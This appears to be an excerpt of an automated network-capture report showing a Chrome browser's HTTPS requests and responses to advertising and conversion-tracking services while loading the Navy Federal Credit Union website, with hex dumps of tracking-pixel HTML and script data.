2024-05-24 22:45:59 UTC	406	IN	Data Raw: 61 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 69 6d 67 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 62 2e 76 69 64 65 6f 61 6d 70 2e 63 6f 6d 2f 64 32 2f 62 66 34 37 34 62 61 32 2d 36 64 39 38 2d 31 31 65 63 2d 39 39 39 37 2d 32 64 30 61 64 39 63 37 30 61 37 Data Ascii: a33<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src=https://b.videoamp.com/d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7
2024-05-24 22:45:59 UTC	1390	IN	Data Raw: 69 78 65 6c 2f 63 6f 6e 76 2f 70 70 74 3d 31 37 39 34 36 3b 67 3d 73 69 74 65 77 69 64 65 5f 76 69 73 69 74 73 3b 67 69 64 3d 34 30 39 39 39 3b 6f 72 64 3d 31 36 39 39 31 30 36 39 30 35 20 68 65 69 67 68 74 3d 22 30 22 20 77 69 64 74 68 3d 22 30 22 20 62 6f 72 64 65 72 3d 22 30 22 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 2e 74 76 70 69 78 65 6c 2e 63 6f 6d 2f 6a 73 2f 63 75 72 72 65 6e 74 2f 64 70 6d 5f 70 69 78 65 6c 5f 6d 69 6e 2e 6a 73 3f 61 69 64 3d 6e 61 76 79 2d 66 65 64 65 72 61 6c 2d 63 72 65 64 69 74 2d 75 6e 69 6f 6e 2d 61 62 34 65 33 39 35 30 2d 32 65 37 30 2d 34 30 35 63 2d 62 33 37 37 2d 64 63 62 31 62 38 62 66 62 65 34 37 22 3e 3c 2f 73 63 72 Data Ascii: ixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905 height="0" width="0" border="0"/><script type="text/javascript" src="https://c.tvpixel.com/js/current/dpm_pixel_min.js?aid=navy-federal-credit-union-ab4e3950-2e70-405c-b377-dcb1b8bfbe47"></scr
2024-05-24 22:45:59 UTC	822	IN	Data Raw: 72 67 69 6e 3a 30 27 20 77 69 64 74 68 3d 27 30 27 20 68 65 69 67 68 74 3d 27 30 27 3e 0a 3c 2f 69 66 72 61 6d 65 3e 0a 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 6e 64 20 44 53 50 20 43 6f 6e 76 65 72 73 69 6f 6e 20 41 63 74 69 6f 6e 20 54 72 61 63 6b 69 6e 67 20 43 6f 64 65 20 56 65 72 73 69 6f 6e 20 39 20 2d 2d 3e 3c 69 6d 67 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 61 6c 74 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 74 2e 70 69 6e 74 65 72 65 73 74 2e 63 6f 6d 2f 76 33 2f 3f 74 69 64 3d 32 36 31 37 32 35 34 33 38 31 34 38 36 26 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 69 6d 67 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 Data Ascii: rgin:0' width='0' height='0'></iframe></noscript>... End DSP Conversion Action Tracking Code Version 9 --><img height="1" width="1" style="display:none;" alt="" src="https://ct.pinterest.com/v3/?tid=2617254381486&noscript=1" /><img height="1" width="1
2024-05-24 22:45:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49864	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	1181	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: not-navigation-source, trigger, event-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:45:59 UTC	4879	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:59 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"17661230070234255452"}],"aggregatable_trigger_data":[{"filters":[{"14":["9171532"]}],"key_piece":"0x3131a462f25d498f","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xa486471e9352c01","not_filters":{"14":["9171532"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65, [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUlmIFhF1NJa2bzcy8gUMOFz4JHD3nRjMFXPfeN-8o1fgtbSIL7W2RwgrOpQ; expires=Sun, 24-May-2026 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49866	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	1169	OUT	GET /activity;register_conversion=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger, event-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:45:59 UTC	4709	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:59 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"3741157376834817608"}],"aggregatable_trigger_data":[{"filters":[{"14":["9513454"]}],"key_piece":"0x3b51fecaabfae774","source_keys":["12","13","14","15","16","17","18","19","20","21","628564600","628564601","628564602","628564603","628660816","628660817","628660818","628660819","628732268","628732269","628732270","628732271","628823196","628823197","628823198","628823199","628842768","628842769","628842770","628842771"]},{"key_piece":"0xe151fd8cfcae57b7","not_filters":{"14":["9513454"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628564600","628564601","628564602","628564603","628660816","628660817","628660818","628660819","628732268","628732269","628732270","628732271","628823196","628823197","628823198","628823199","628842768","628842769","628842770","628842771"]}],"aggregatable_values":{"12":65,"13":65,"14":65,"15":6356,"16":65,"17":65,"18":6356,"19":65,"20":65,"21":6356,"628564600":43,"62 [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUkVLJQWE9H2Y0XBTVe-1UWpWjGaANh_3ZiI-BfEBvpUsvxiLOCAYepir2v5; expires=Sun, 24-May-2026 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49865	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	1160	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:45:59 UTC	4903	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:59 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"16485783623789574909"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUl-HsKfK6Zx42C4xtttGp8eNSdB9WX13CJpJUWivwx9e7tluZJ68ro5no8g; expires=Sun, 24-May-2026 22:45:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49860	18.172.103.101	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	534	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:59 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 12157 Connection: close Last-Modified: Mon, 20 May 2024 07:02:23 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 24 May 2024 07:08:39 GMT ETag: "a60a4e2650f94da6f243b9518761b381" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 599ca4c1e171a33647d38b2340e37b20.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P8 X-Amz-Cf-Id: oxL-hfX7w0n5GH9RfaofOL8Aab8EMOIKv4pYgYgQe5oN1aCPUV34Iw== Age: 71390
2024-05-24 22:45:59 UTC	12157	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 63 3d 6e 75 6c 6c 3b 63 6f 6e 73 74 20 6c 3d 5b 22 64 65 62 75 67 22 2c 22 69 6e 66 6f 22 2c 22 77 61 72 6e 22 2c 22 65 72 72 6f 72 22 5d 3b 6c 65 74 20 73 3d 6c 2e 72 65 64 75 63 65 28 28 65 2c 64 2c 61 29 3d 3e 28 65 5b 64 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 64 65 62 75 67 22 3d 3d 3d 64 3f 22 6c 6f 67 22 3a 64 3b 69 66 28 63 26 26 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 5b 65 5d 29 7b 76 61 72 20 74 3d 6c 2e 69 6e 64 65 78 4f 66 28 63 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 69 66 28 21 30 3d 3d 3d 63 7c 7c 2d 31 3c 74 26 Data Ascii: !function(){"use strict";let c=null;const l=["debug","info","warn","error"];let s=l.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=l.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49868	142.250.184.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	1239	OUT	GET /activityi;dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 2992003.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:46:00 UTC	984	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:00 GMT Expires: Fri, 24 May 2024 22:46:00 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUk2lHwRipcrvFKh3Vm5dsyp7CjA76h6cSO9XW9R4T8y7lZnxnsmfXZE4wBQqGQ; expires=Sun, 24-May-2026 22:46:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:00 UTC	406	IN	Data Raw: 32 38 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 65 72 76 69 63 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 64 6d 2f 66 6c 73 2f 7a 2f 64 63 5f 70 72 65 3d 43 49 43 57 5f 66 4b 75 70 34 59 44 46 61 Data Ascii: 284<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src="https://adservice.google.com/ddm/fls/z/dc_pre=CICW_fKup4YDFa
2024-05-24 22:46:00 UTC	245	IN	Data Raw: 38 2e 31 33 34 25 37 43 4e 6f 74 25 32 35 33 42 41 25 32 35 33 44 42 72 61 6e 64 25 33 42 38 2e 30 2e 30 2e 30 25 37 43 43 68 72 6f 6d 69 75 6d 25 33 42 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 3b 75 61 6d 62 3d 30 3b 75 61 6d 3d 3b 75 61 70 3d 57 69 6e 64 6f 77 73 3b 75 61 70 76 3d 31 30 2e 30 2e 30 3b 75 61 77 3d 30 3b 70 73 63 64 6c 3d 6e 6f 61 70 69 3b 66 72 6d 3d 30 3b 67 74 6d 3d 34 35 66 65 34 35 6d 30 76 39 31 38 35 33 36 37 33 34 39 7a 61 32 30 30 3b 67 63 64 3d 31 33 6c 33 6c 33 6c 33 6c 31 3b 64 6d 61 3d 30 3b 65 70 76 65 72 3d 32 3b 7e 6f 72 65 66 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6e 61 76 79 66 65 64 65 72 61 6c 2e 6f 72 67 25 32 46 22 2f 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 8.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F"/></body></html>
2024-05-24 22:46:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49867	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:59 UTC	870	OUT	GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-24 22:46:00 UTC	878	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:59 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Location: https://ad.doubleclick.net/ddm/activity/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49871	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:00 UTC	1230	OUT	GET /activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
